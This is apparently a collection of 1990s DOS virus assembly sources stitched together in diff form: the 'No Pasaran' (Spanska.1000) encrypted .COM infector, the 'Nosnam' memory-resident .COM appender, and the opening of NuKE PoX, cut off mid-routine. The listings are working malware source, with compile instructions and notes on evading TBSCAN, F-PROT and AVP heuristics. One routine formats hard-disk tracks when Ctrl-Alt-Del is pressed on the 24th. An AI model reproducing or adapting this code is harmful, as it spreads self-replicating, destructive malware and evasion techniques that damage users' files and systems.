db 0A0h, 0B8h, 0A5h, 20h, 0A4h, 0A0h
db 20h, 0B1h, 0ABh, 0AEh, 0A6h, 0A8h
db 20h, 0B1h, 0BAh, 0A2h, 0B1h, 0A5h
db 0ACh, 20h, 0A4h, 0B0h, 0B3h, 0A3h
db 0AEh, 20h, 0ADh, 0A5h, 0B9h, 0AEh
db 0, 4, 0, 0CDh, 20h, 90h
code_seg_a ends
end start
@@ -0,0 +1,667 @@
; NO PASARAN virus version 2 by Spanska
; Called Spanska.1000 by AV people
; This is my first virus
;
;***********************************************************************
;
; This virus is dedicated to all spanish and international young
; guys who fighted against fascist army during Spanish Civil War
; (1936-1939). They said "THEY SHALL NOT PASS!"
;
;********************************contact me at el_gato@rocketmail.com***
;
; No flag with TBSCAN
; At the time it was released (january 97), was not detected by
; TBSCAN, FPROT, AVP, DrSolly FINDVIRUS in heuristic mode
; but by DrWeb in heuristic mode (i didn't know this program...)
;
; generation zero size: 3537 bytes
; virus size: 1000 bytes
;
; Compile it with TASM /m2 and TLINK /t
;
; Properties:
; simple .com runtime infector
; not destructive
; encrypted with variable key
; infects 7 files each run
; infects current directory, than upper directories
; when it reaches the root, it starts infecting all "level1" subdirectories
; doe not infect files >60,000 or <100 bytes, nor command.com
; the VGA graphic bomb (a fire effect) explodes when minutes=22
; and seconds<30 (1/120)
code segment
assume ds:code, ss:code, cs:code, es:code
org 100h
;
;---------------fake host code--------------------
;
hote:
call virus ;jump to viral code (avoid J flag)
signature db "lc" ;virus signature
nop ;
nop ;fake host
nop ;
nop ;
mov ah, 4ch ;finished
mov al,0 ;go to
int 21h ;DOS
;**********************************************************************
; START OF VIRAL CODE
;**********************************************************************
virus: ;virus starts here
jmp evite ;avoid next routine
;=== simulation of a stosb ===
;=== when outside decrypt loop ===
;=== do not flag # ===
baise_flag_cryptage: ;===
mov [di], al ;=========>>> NO MORE FLAG "#" !!!!!
inc di ;===
ret ;===
;===================================
;
;---------------get delta offset----------------------------
;
evite:
call $+3 ;modified classic
delta: ;routine to
mov bp, sp ;avoid flag E
mov ax, [bp] ;
add word ptr [bp], decrypte-delta ;thanks Slacker's Theory
sub ax, offset delta ;of Code through Obscurity!
mov bp, ax
ret
;
;----------------------decrypting routine-------------------------
;
decrypte:
mov dl, [bp+offset clef] ;get actual key
mov cx, fin_cryptage - debut_cryptage ;
lea si, [bp+offset debut_cryptage] ;
mov di, si ;
xor_loop: ;decrypt loop
mov al, [si] ;
inc si ;
xor al, dl ;
call baise_flag_cryptage ;call the fake stosb to avoid flag #
loop xor_loop
;
;-----initialization to 0 of both infection and directory counters--------
;
debut_cryptage: ;crypted zone starts here
mov byte ptr [bp+offset compteur], 0 ;infection counter
mov byte ptr [bp+offset phase], 0 ;directory counter
;
;-----------------------remember current repertory-----------------------
;
lea si, [bp+offset repert] ;
xor dl, dl ;
mov ah, 47h ;
int 21h ;
;
;-----------------DTA go to a predefined zone in memory------------------
;
push 1a00h ;push/pop to
pop ax ;avoid flag F
lea dx, [bp+offset dta] ;
int 21h ;
;
;------------------------find first file---------------------------------
;
recherche:
mov cx, 0007h ;
lea dx, [bp+offset file_type] ;
mov ax, 4e00h ;
int 21h ;file found?
jnc sauter_suivant ;yes => c=0, let's continue
jmp rep_sup ;no => go to upper directory
;
;---------------------------find next file--------------------------------
;
fichier_suivant:
lea dx, [bp+offset file_type] ;
mov ax, 4f00h ;
mov cx, 0007h ;
int 21h ;file found?
jnc saut5 ;yes => c=0, let's continue
jmp rep_sup ;no => go to upper direcory
saut5:
;
;---------------verify if extension is really .com---------------------
; (it's made to avoid flag S with tbscan)
; (and to avoid AVP detection 'cause AVP detects all combinations
; like .c?m, .?om..., BUT .c*)
;
sauter_suivant:
mov cx, 13d ;max size of a file name (not really, but
lea si, [bp+offset dta+1eh] ;who cares? I've stolen this routine somewhere)
compare: ;loop for detecting start of the extension
lodsb ;letter in al
cmp al, "." ;is it a point?
jne compare ;no => test next letter
inc si ;yes => si points on second extension letter
cmp word ptr [si], "MO" ;second and third letters are "OM"?
jne fichier_suivant ;no => find next file
;
;-------------------verify if it's command.com----------------------------
;
cmp word ptr [bp+offset dta+1eh+2], "MM"
je fichier_suivant ;yes => find next file
;
;------------attributes to 0 to infect special files---------------------
;
lea dx, [bp+offset dta+1eh] ;file name pointed with dx
push 4301h ;push/pull to
pop ax ;avoid flag F
xor cx, cx ;
int 21h ;
;
;---------------------------open file------------------------------------
;
mov ax, 3D02h ;
lea dx, [bp+offset dta+1eh] ;
int 21h ;file found?
jnc saut2 ;yes => c=0, let's continue
jmp remise_en_etat ;no => arrange file and close it
saut2: ;
mov [bp+offset handle],ax ;
;
;-----------------read 5 first bytes of the file---------------------
;
xchg ax, bx ;
mov cx, 5 ;
mov ax, 3F00h ;
lea dx, [bp+offset contenu] ;bytes go to "contenu" zone
int 21h ;file found?
jnc saut3 ;yes => c=0, let's continue
jmp remise_en_etat ;no => arrange file and close it
saut3: ;
;
;------------------is the file already infected?-----------------------
;
cmp word ptr [bp+offset contenu+3], "cl" ;compare with signature
jnz saut4 ;not infected => z=0, let's continue
jmp remise_en_etat ;already infected => arrange file and close
saut4: ;
;
;-----------------------is the size correct?---------------------------
;
cmp word ptr [bp+offset dta+1ah], 60000 ;compare size with 60000
jna pas_trop_gros ;is it bigger?
jmp remise_en_etat ;yes => find next file
pas_trop_gros: ;no => other verification
cmp word ptr [bp+offset dta+1ah], 100 ;compare size with 100
jnb verif_ok ;if >100 let's continue
;
;--------arrange file and close it in case of non-infection-------------
;
remise_en_etat:
mov ah, 3Eh ;
int 21h ;close it
;
;------------------restore attributes-----------------------------------
;
lea dx, [bp+offset dta+1eh] ;
xor ch, ch ;
mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in the DTA
push 4301h ;push/pop to
pop ax ;avoid flag F
int 21h ;
;
;----------after arranging the file, let's find another one-------------
;
jmp fichier_suivant ;go to find-next routine
;
;-------------------disk file pointer at the end-------------------
;
verif_ok:
mov ax, 4202h ;
xor cx, cx ;
mov dx, cx ;
int 21h ;
;
;----------------------infection routine------------------------------
;
;first, let's write non-encrypted part
;
mov ax, 4000h ;
mov cx, debut_cryptage - virus ;
lea dx, [bp+offset virus] ;
int 21h ;
;
;second, let's crypt next part in memory
;
mov cl, [bp+offset cinq_octets+1] ;cl=new key
mov byte ptr [bp+offset clef_temp], cl ;on a temporary zone
lea si, [bp+offset debut_cryptage] ;si=start of the crypted zone
lea di, [bp+offset zone_de_travail] ;di=temporary mem zone for crypting
xchg cl, dl ;key in dl
mov cx, fin_cryptage - debut_cryptage ;cx=number of bytes to crypt
crypte_et_transfere: ;
lodsb ;
xor al, dl ;classic XOR crypting loop
stosb ;
loop crypte_et_transfere ;
;
;third, disk writing of the crypted zone
;
mov ax, 4000h ;
mov cx, fin_cryptage - debut_cryptage ;number of bytes to write
lea dx, [bp+offset zone_de_travail] ;
int 21h ;
;
;------write on disk real 5 first bytes of the file+new crypt key--------
;----from "contenu" zone in memory to "cinq_octets" zone on the disk)----
;
;1) move disk file pointer to good zone
;
xor cx, cx ;
mov dx, word ptr [bp+offset dta+1ah] ;non-infected file size in dx
add dx, cinq_octets - virus ;add offset of good zone
mov ax, 4200h ;
int 21h ;
;
;2) move memory pointer to good zone, and transfer
;
mov cx, 6 ;we will write 6 bytes
lea dx, [bp+offset contenu] ;("contenu" + "clef_temp")
push 4000h ;so 5 first bytes + new key
pop ax ;this push/pop is not necessary
int 21h ;
;
;--overwrite 5 first bytes on the disk by jump to virus code + signature---
;
;1) move disk file pointer to start of the file
;
xor cx,cx ;
mov dx, cx ;
mov ax, 4200h ;
int 21h ;
;
;2) calculate initial jump and write all on a temp zone in memory
;(NB: we use the "contenu" memory zone which is not more util)
;
mov byte ptr [bp+offset contenu], 0e8h ;E8=opcode of CALL
mov ax, word ptr [bp+offset dta+1ah] ;ax=file size
sub ax, 3 ;this is because of the CALL
mov word ptr [bp+offset contenu+1], ax ;write deplacement
mov word ptr [bp+offset contenu+3], "cl" ;write signature
;
;3) overwrite 5 first bytes on the file
;
mov cx,5 ;
lea dx, [bp+offset contenu] ;
mov ax, 4000h ;
int 21h ;
;
;-------------------restore time/date of the file------------------------
;
mov dx, word ptr [bp+offset dta+18h] ;date in dx
mov cx, word ptr [bp+offset dta+16h] ;time in cx
push 5701h ;push/pop
pop ax ;to avoid flag F
int 21h ;
;
;-----------------------------close file---------------------------------
;
mov ah, 3Eh ;
int 21h ;
;
;------------------------restore file attributes-----------------------
;
lea dx, [bp+offset dta+1eh] ;
xor ch, ch ;
mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in DTA
push 4301h ;
pop ax ;
int 21h ;
;
;--------------verify how many files we have infected------------------
;
mov byte ptr cl, [bp+offset compteur] ;infection counter in cl
inc cl ;one more
cmp cl, 7 ;have we infected 7 files?
je attendre ;yes => let's stop
mov byte ptr [bp+offset compteur], cl ;no => write new value of counter
;
;-----------------------let's infect a new file-------------------------
;
jmp fichier_suivant ;infect next file
;
;---------------------climb to upper directory--------------------------
;
rep_sup:
lea dx, [bp+offset dot] ;let's go to ".." repertory
mov ah, 3bh ;
int 21h ;are we in the root?
jc on_redescend ;yes => c=1, let's go down now
jmp recherche ;no => find first file
;
;---if we are in root, let's go to all "first-level" subdirectories-----
;
on_redescend: ;
mov ah, 4eh ;find first file
mov cx, 16 ;with repertory attribute
lea dx, [bp+offset dir_masque] ;called "*.*"...
int 21h ;
jc attendre ;there are no subdirectory => stop
cmp byte ptr[bp+offset phase], 0 ;how is the dir counter (called phase)?
je le_premier ;phase=0 => do not find next dir
xor bh, bh ;
mov bl, byte ptr [bp+offset phase] ;bx=phase
rep_suivant: ;loop to avoid all subdir already infected
mov cx, 16 ;rep attributes
mov ah, 4fh ;find next dir
lea dx, [bp+offset dir_masque] ;
int 21h ;
jc attendre ;there are no subdirectory => stop
cmp byte ptr [bp+offset dta+15h], 16 ;is it really a directory?
jne rep_suivant ;no => find next
dec bx ;this routine is made to infect
cmp bx, 0 ;directory "number phase"
jne rep_suivant ;if bx<>0, the subdir is already infected
le_premier:
add byte ptr[bp+offset phase], 1 ;OK, we are on a subdir not infected
lea dx, [bp+offset dta+1eh] ;so, let's change
mov ah, 3bh ;directory to it
int 21h ;
jmp recherche ;and infect this new subdirectory
;
;-----in case of problem, or no more directory to infect, we go here------
;
attendre: ;
;
;------------------DTA in the normal zone-----------------------------
; (to avoid perturbing host program)
;
push 1a00h ;push/pop
pop ax ;to avoid flag F
mov dx, 80h ;to 80h, the normal zone
int 21h ;
;
;------restore the directory in which we were when we started-------------
;
;primo, rapid climb until the root
;
remontee_finale:
lea dx, [bp+offset dot] ;
mov ah, 3bh ;
int 21h ;
jnc remontee_finale ;continue until we are in the root
;
;secundo, we go to the directory in which we were at start
;
lea dx, [bp+offset repert] ;we saved the dir in this zone
mov ax, 3B00h ;change dir
int 21h ;
;
;------replace 5 first bytes of the host in memory----------
;
lea si, [bp+offset cinq_octets] ;original 5 bytes were stored here
mov ax, 101h ;classic trick to
dec ax ;avoid flag B
mov di, ax ;100h in DI for transfer
mov cx, 5 ;write 5 bytes
rep movsb ;transfer them
;
;--------------------does the bomb explode?---------------------
;
mov ah, 2Ch ;internal clock: ch=hour et cl=minute
int 21h ;
cmp cl, 22d ;minutes = 22?
jne redonner_la_main ;no => return to host
cmp dh, 30d ;yes => test seconds
jb bombe ;if seconds <30 (1/120) the bomb explodes
;
;-----------------------return to host----------------------------
; (remember the very first CALL: we have 103h on the stack)
;
redonner_la_main:
pop ax ;get 103h
sub ax, 3 ;we want 100h
push ax ;re-put it on stack (for the RET)
xor ax, ax ;a starting program
xor bx, bx ;likes to find all
xor cx, cx ;registers equals
xor dx, dx ;to zero.
ret ;on redonne la main au pauvre programme
nop
nop ;just for fun: with these 3 nops, virus size is just 1000.
nop
;
;**********************************************************************
; CODE OF THE GRAPHIC BOMB: A FIRE EFFECT
;**********************************************************************
bombe:
;--------------------------------VGA-----------------------------------
mov ax, 13h ;
int 10h ;goto graphic mode
;------initialisation of the flame palette (black=>red=>white)----------
mov dx, 3c8h ;dx = palette port
xor al, al ;starting with color 0
out dx, al ;write first color in the port
inc dx ;define all colors
xor cx, cx ;component red start from 0 and augment
rouges: ;let's define colors from 0 to 62
mov al, cl ;first component (red) equal to cl
out dx, al ;write on palette port
xor al, al ;others components (blue, green) to zero
out dx, al ;write blue component
out dx, al ;write green component
inc cx ;increment red component of color
cmp cx, 63 ;do cx reach 63?
jne rouges ;no => continue loop
xor cx, cx ;component blue start from 0 and augment
jaunes: ;let's define colors from 63 to 125
mov al, 63 ;component red equal to 63
out dx, al ;write it
mov al, cl ;second component (blue) equal to cl
out dx, al ;write it
xor al, al ;third component (green) equal to zero
out dx, al ;write it
inc cx ;increment blue component of color
cmp cx, 63 ;do cx reach 63?
jne jaunes ;no => continue loop
xor cx, cx ;component green start from 0 and augment
blancs: ;let's define colors from 126 to 188
mov al, 63 ;components red and blue equal to 63
out dx, al ;write red component
out dx, al ;write blue component
mov al, cl ;third component (green) equal to cl
out dx, al ;write it
inc cx ;increment green component of color
cmp cx, 63 ;do cx reach 63?
jne blancs ;no => continue loop
mov cx, 198 ;we're going to define 198/3=66 next colors
blancfin: ;let's define colors from 189 to 254
mov al, 255 ;all components are maximum
out dx, al ;so these colors are white
loop blancfin ;
xor al, al ;define last color (number 255)
mov cx, 3 ;in black so we do not see the
rep out dx, al ;focus at the bottom of the flame
;------------draw some focus at the bottom at random places--------------
mov ax, 0a000h ;video mem
mov es, ax ;segment in es
boucle:
mov di, (320*199)+5 ;start line 199, 5 pixels from the left side
foyers:
call random ;bring back a random dl between 0 and 255
cmp dl, 180 ;dl>180?
jb noir ;no => no focus, color to black
mov dl, 255 ;yes => a focus, color to white
jmp blanc ;avoid "no focus" routine
noir:
xor dl, dl ;no focus, color to black
blanc:
mov al, dl ;load al with color
mov cx, 5 ;focuses are 5 pixels long
zobi:
stosb ;draw focus pixel
add di, 319 ;and draw another pixel
stosb ;under the first
sub di, 320 ;(more beautiful)
loop zobi
cmp di, (320*199)+30 ;the torch will be 30 pixels wide
jb foyers ;focus line not finished, so loop
;--------real screen--->modification--->virtual screen------------------
mov di, 320*120 ;we use just the 80 bottom lines
lea si, [bp+offset ecran_virtuel] ;memory zone for calculations
mov dx, 80 ;line loop: 80 repetitions
xor ax, ax ;we gonna use ax, so put zero
ecran: ;start of line loop
mov cx, 30 ;column loop: 30 repetitions
modif: ;start of column loop
mov al, es:[di] ;in al, color of current pixel
add al, es:[di+320] ;add pixel color just under it
adc ah, 0 ;result may be >255, so add carry
add al, es:[di+319] ;add pixel color under it to the left
adc ah, 0 ;add carry
add al, es:[di+641] ;add pixel 2 lines under it to the right
adc ah, 0 ;add carry
shr ax, 1 ;calculate the average color of these
shr ax, 1 ;4 pixels, dividing ax by 4
cmp al, 0 ;is this average value black?
je bitnoir ;yes => do not decrement color
dec al ;no => decrement color
bitnoir:
mov ds:[si], al ;write pixel with new color on memory
inc si ;next pixel on memory (virtual screen)
inc di ;next pixel on screen (real screen)
loop modif ;finish the line
add di, (320-30) ;on screen, go to first pixel of next line
dec dx ;dx = line counter, decrement it
cmp dx, 0 ;are we to the bottom of the screen?
jne ecran ;no => let's go to next line
;----------------virtual screen--->real screen-------------------------
mov di, (320*120) ;di points to line 120 on real screen
lea si, [bp+offset ecran_virtuel] ;si points to start of virtual screen
xor dx, dx ;line counter to zero
deux_flammes:
mov cx, 30 ;copy one line to the
rep movsb ;left side of the screen
sub si, 30 ;virtual: rewind to the start of the same line
add di, 230 ;real: draw the second torch at column 230+30+5
mov cx, 30 ;copy the same line to the
rep movsb ;right side of the screen
add di, 30 ;real: start next line (NB: 295+30=320+5)
inc dx ;increment line counter
cmp dx, 79 ;copy 78 lines
jne deux_flammes
;--------------put text cursor at line 5, column 1----------------------
mov dx, 0501h ;dh=line, dl=column
xor bh, bh ;page zero
mov ah,02h ;put cursor to position DH, DL
int 10h ;BIOS screen int
;--------------------write text message on screen-----------------------
mov ah, [bp+offset clignote] ;blink counter in ah
inc ah ;increment it
mov [bp+offset clignote], ah ;put it back to its place
cmp ah, 128 ;compare it to 128 (alternance time 50/50)
ja second_message ;inferior => write second message
lea si, [bp+offset message] ;superior => write first message
jmp premier_message ;and avoid second message
second_message: ;
lea si, [bp+offset message2] ;now write second message
premier_message:
mov cx, 36 ;message lenght
affiche_message:
lodsb ;load letter in al
mov bl, 254 ;and color in bl (white)
mov ah, 0Eh ;
int 10h ;write this letter on screen
loop affiche_message
jmp boucle ;return to step "draw focus"
;-----------random number creation routine (stolen somewhere)--------------
random proc near
mov ax, [bp+offset aleat]
mov dx, 8405h
mul dx
inc ax
mov [bp+offset aleat], ax
ret
random endp
;--------------memory zones of the graphic effect------------------------
message db " Remember those who died for Madrid " ;message 1
message2 db "No Pasaran! Virus v2 by Spanska 1997" ;message 2
clignote db 00 ;blink counter
aleat dw 0AAh ;random seed
;
;-------------------memory zones of the virus----------------------------
;
dir_masque db "*.*",0 ;mask to find subdirectories
file_type db "*.c*",0 ;mask to find file type
dot db "..",0 ;mask to find upper directory
fin_cryptage: ;end of crypting
cinq_octets db 5 dup(90h) ;5 first bytes of host
clef db 0 ;crypt key
;
;--------these temporary memory zones are not written on disk------------
;
phase db 0 ;to find the good subdirectories
compteur db 0 ;infection counter
handle db 0,0 ;file handle
contenu db 0,0,0,0,0 ;to read 5 first bytes of a file
clef_temp db 0 ;crypt key
dta db 48 dup (0AAh) ;DTA zone
repert db 64 dup (0FFh) ;starting directory
ecran_virtuel db 80*30 dup (00) ;virtual screen
zone_de_travail: ;used to crypt virus
code ends
end hote
; ------------------------(c) Spanska 1997------------------------------
@@ -0,0 +1,264 @@
; ------------------------------------------------------------------------- ;
; Nosnam v1.5 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 07/06/98 | Finished: 09/06/98 ;
; `-------------------^------------------- ;
; v1.0 - TSR *.com appender, direct MCB manipulation style | Size: 430 ;
; v1.1 - add some XOR,NEG,NOT,ROR encryption to this `---------- ;
; v1.2 - Infects only files < 1,000 bytes and > 62,000 bytes ;
; v1.3 - saves and restores the time / date stamps ;
; v1.4 - infects files with any attributes ;
; v1.5 - saves and restores file attributes ;
; ------------------------------------------------------------------------- ;
; ------> For Christine Moore, For The Codebreakers & For Mind Warp <----- ;
; ------------------------------------------------------------------------- ;
; to compile ::] tasm nosnam.asm ;
; to link :::::] tlink /t nosnam.obj ;
; ------------------------------------------------------------------------- ;
code segment ; name our segment 'code'
assume cs:code,ds:code ; assign cs and ds to code
org 100h ; this be a .com file
.286 ; needed for pusha/popa
blank: db 0e9h,0,0 ; define blank jump
start: call delta ; push IP on to stack
delta: pop bp ; pop it into BP
sub bp,offset delta ; get delta offset
encryp: jmp first ; jump to first (overwritten)
lea si,[bp+encd] ; load SI with encrypted area start
mov di,si ; move that address into DI
call encr ; call the encryption loop
jmp encd ; jump to encrypted area start
encr: lodsb ; load a byte from AL
not al ; encryptin 1
ror al,4 ; encryptin 2
neg al ; encryptin 3
xor al,byte ptr [bp+key] ; unencrypt 4
neg al ; unencrypt 3
ror al,4 ; unencrypt 2
not al ; unencrypt 1
stosb ; store the byte
loop encr ; do all the bytes
ret ; return from call
key db 0 ; define our key here
encd: mov ax,0deadh ; move 0deadh into AX
int 21h ; if resident, 0deadh is in BX
cmp bx,0deadh ; check to see if it is
jne go_rez ; nope, go rezident now
jmp first3 ; jump to first three
go_rez: sub word ptr cs:[2],80h ; lower top of memory data in PSP
mov ax,cs ; move CS into AX
dec ax ; decrement AX
mov ds,ax ; move new value into DS
sub word ptr ds:[3],80h ; sub 2kb from accessed MCB
xor ax,ax ; AX to 0 now
mov ds,ax ; DS is now 0
sub word ptr ds:[413h],2 ; adjust BIOS data area by 2kb
mov ax,word ptr ds:[413h] ; move adjusted BIOS mem to AX
mov cl,6 ; load CL with 6
shl ax,cl ; multiply BIOS base mem by 64
mov es,ax ; move the value to ES
push cs ; push CS again so you can
pop ds ; restore DS to original value
xor di,di ; DI is now 0
lea si,[bp+start] ; SI loaded with start address
mov cx,finished-start ; # of bytes to write
rep movsb ; load virus into memory
hook: xor ax,ax ; ax to 0
mov ds,ax ; DS to 0
lea ax,isr ; point IVT to new ISR
sub ax,offset start ; subtract start offset
mov bx,es ; move extra segment into BX
cli ; clear interrupts
xchg ax,word ptr ds:[21h*4] ; getting Int 21
xchg bx,word ptr ds:[21h*4+2] ; into bx and ax
mov word ptr es:[oi21-offset start],ax ; save old int 21
mov word ptr es:[oi21+2-offset start],bx ; save old int 21
sti ; restore interrupts
push cs ; push code segment register
push cs ; push it again
pop ds ; put it into DS
pop es ; put it into ES
first3: lea si,[bp+buffer] ; restore first three bytes
mov di,100h ; 100h to restore them too
push di ; push 100h on to stack
movsb ; move one byte
movsw ; move one word
retn ; return control to host
isr: pushf ; push all the flags
cmp ax,0deadh ; have we added check value?
jne exec ; yup, wait now for 4bh
mov bx,0deadh ; nope adding it now
popf ; pop all flags
iret ; pop cs:ip+flags from stack
exec: pusha ; push all registers
push ds ; push DS
push es ; likewize for ES
cmp ah,4bh ; something being executed?
je main ; yup, on with the infecting
jmp exit2 ; naw, jump to original ISR
goexit: jmp exit ; need this to make the jump
main: push bp ; save original delta offset
call tsrdel ; push IP on to stack
tsrdel: pop bp ; pop it off into BP
sub bp,offset tsrdel ; get 2nd delta offset
push ds ; push DS again
pop es ; and pop it into ES
mov di,dx ; move file info into DI
mov cx,64 ; 64 byte filename possible
mov al,'.' ; load al with .
cld ; clear direction flag
repnz scasb ; scan until . is hit
cmp word ptr ds:[di],'OC' ; check for .CO-
jne goexit ; not a .com file, exit
cmp word ptr ds:[di+2],'M' ; check for .--M
jne goexit ; not a .com file, exit
mov ax,4300h ; get file attributes
int 21h ; we have the attributes
push cx ; save attribute #1
push dx ; save attribute #2
push ds ; save attribute #3
mov ax,4301h ; set file attributes
xor cx,cx ; to none at all
int 21h ; file is ready now
mov ax,3d02h ; open the file now
int 21h ; open it up now
xchg bx,ax ; move the info
push cs ; push code segment register
push cs ; push it again
pop ds ; put it into DS
pop es ; put it into ES
mov ax,5700h ; get the time / date stamps
int 21h ; got them now
push dx ; save value #1
push cx ; save value #2
mov ah,3fh ; the record function
lea dx,[bp+buffer] ; record bytes here
mov cx,3 ; record three bytes
int 21h ; restore them now
mov ax,4202h ; scan to end of file
cwd ; dx to 0
xor cx,cx ; cx to 0
int 21h ; DX:AX = file size now!
cmp dx,0 ; is the file < 65,535 bytes?
jne close ; way to big, close it up
mov cx,word ptr [bp+buffer+1] ; move buffer+1 into CX
add cx,finished-start+3 ; virus size + jump
cmp ax,cx ; compare file size and CX
jz close ; if equal, close it up
cmp ax,1000 ; compare 1000 bytes with CX
jb close ; file too small, close it
cmp ax,62000 ; compare 62,000 bytes with AX
ja close ; file too big, close it up
sub ax,3 ; subtract 3 from filesize
mov word ptr [bp+newjump+1],ax ; write as our new jump
mov ax,4200h ; point to start of file
cwd ; dx to 0
xor cx,cx ; cx to 0
int 21h ; now pointing to start
mov ah,40h ; write to file
mov cx,3 ; three bytes
lea dx,[bp+newjump] ; write this
int 21h ; jump is written
mov ax,4202h ; scan to end of file
cwd ; dx to 0
xor cx,cx ; cx to 0
int 21h ; now pointing to end
in al,40h ; get random value
mov byte ptr [bp+key],al ; save as our key
mov ah,40h ; write to file
lea dx,[bp+start] ; where to start
mov cx,encd-start ; # of bytes to write
int 21h ; write those bytes
lea di,[bp+finished] ; DI points to encrypted area end
push di ; save value, we need it in a minute
lea si,[bp+encd] ; SI points to encrypted area start
mov cx,finished-encd ; # of bytes to encrypt
push cx ; save value, we need it in a minute
call encr ; encrypt those bytes now
mov ah,40h ; write to file
pop cx ; use that saved value from before
pop dx ; use the other saved value
int 21h ; write those bytes
close: mov ax,5701h ; set time / date stamps
pop cx ; from saved value #2
pop dx ; from saved value #1
int 21h ; time / date is restored
mov ax,4301h ; set file attributes
pop ds ; from saved value #3
pop dx ; from saved value #2
pop cx ; from saved value #1
int 21h ; attributes restored
mov ah,3eh ; close the file
int 21h ; file is closed
exit: pop bp ; pop the original delta offset
exit2: pop es ; pop ES from stack
pop ds ; pop DS from stack
popa ; pop all registers
popf ; pop all flags
db 0eah ; jump to original ISR
; ---------------------------( The Data Area )----------------------------- ;
; ------------------------------------------------------------------------- ;
oi21 dd ? ; old int 21 goes here
buffer db 0cdh,20h,0 ; terminates 1st gen
virname db 'Nosnam',0 ; the virus name
newjump db 0e9h,0,0 ; blank jump 1st gen
finished label near ; the offset label
; ---------------------( Not Saved / Not Encrypted )----------------------- ;
; ------------------------------------------------------------------------- ;
first: lea di,[bp+encryp] ; load with start address
lea si,[bp+new] ; load with bytes to move
movsw ; move two bytes
movsb ; move one byte
jmp encd ; jump to encrypted area
new: mov cx,finished-encd ; this will overwrite the jump
; ------------------------------( The End )-------------------------------- ;
; ------------------------------------------------------------------------- ;
code ends ; end code segment
end blank ; end it all / where to start
; ------------------------------------------------------------------------- ;
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
; ------------------------------------------------------------------------- ;
+344
View File
@@ -0,0 +1,344 @@
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
;*- ~~~~~~ *-
;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
;-* Encrypted Copies of the Virus) -*
;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
crypt_size equ crypt - init_virus ;All that gets Incrypted
virus_size equ last - init_virus ;Size of the Virus
mut1 equ 3
mut2 equ 1
mut3 equ 103h
del_code equ 53h ;CTRL-ATL-DEL Key
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
rocko proc far
start: jmp init_virus ;+3 bytes
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
call doit_now ;Doit VirusMan... ;+3 Bytes
;========
doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
sub bp,109h ;have to be added to the 100h! This
push ax ;SETs our `Delta Pointer'.
push bx
push cx
push dx ;Save registers
push si
push di
push bp
push es
push ds
mov ax,0abcdh ;Are we resident Already?
int 21h
cmp bx,0abcdh ;Yupe... Quit Then...
je exit_com
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3509h ;Hook Int 9 Please...
int 21h
mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
mov ax,3521h ;Some AVs may INTCEPT this Call!
int 21h ;May be better to go Manually...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1
mov dx,virus_size+virus_size ;Size to `Hide'
mov cl,4 ;And all this crap hides
shr dx,cl ;your number of bytes in DX
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4ah ;Call int to do it...
int 21h
jc exit_com
mov ah,48h
dec dx
mov bx,dx ;It's Done... Yeah!
int 21h
jc exit_com
dec ax
mov es,ax
mov cx,8h ;Here we move our Virus into
mov es:mut2,cx ;the `Hidden' memory!
sub ax,0fh
mov di,mut3
mov es,ax
mov si,bp
add si,offset init_virus
mov cx,virus_size
cld
repne movsb
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
mov ax,2509h ;Restore Int9 with ours
mov dx,offset int9_handler ;The Handler...
int 21h
push cs
pop ds
exit_com:
mov bx,offset buffer ; Its a COM file restore
add bx,bp ; First three Bytes...
mov ax,[bx] ; Mov the Byte to AX
mov word ptr ds:[100h],ax ; First two bytes Restored
add bx,2 ; Get the next Byte
mov al,[bx] ; Move the Byte to AL
mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
pop ds
pop es
pop bp ; Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ; Jump Back to Beginning
push ax ; Restores our IP (a CALL
retn ; Saves them, now we change
int21 dd ? ;Our Old Int21
int9 dd ? ;Our Old Int9
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int9_handler:
push ax
in al,60h ;Has the user attempted a
cmp al,del_code ;CTRL-ALT-DEL
je warm_reboot ;Yes! Screw him
bye_bye: pop ax
jmp dword ptr cs:[int9] ;Nope, Leave alone
warm_reboot:
mov ah,2ah ;Get Date Please
int 21h
cmp dl,18h ;Is it 24th of the Month?
jne bye_bye ;Yes, bye_Bye HD
mov ch,0
hurt_me: mov ah,05h
mov dh,0
mov dl,80h ;Formats a few tracks...
int 13h ;Hurts So good...
inc ch
cmp ch,20h
loopne hurt_me
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
iret
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
dir_handler:
pushf
push cs
call int21call ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
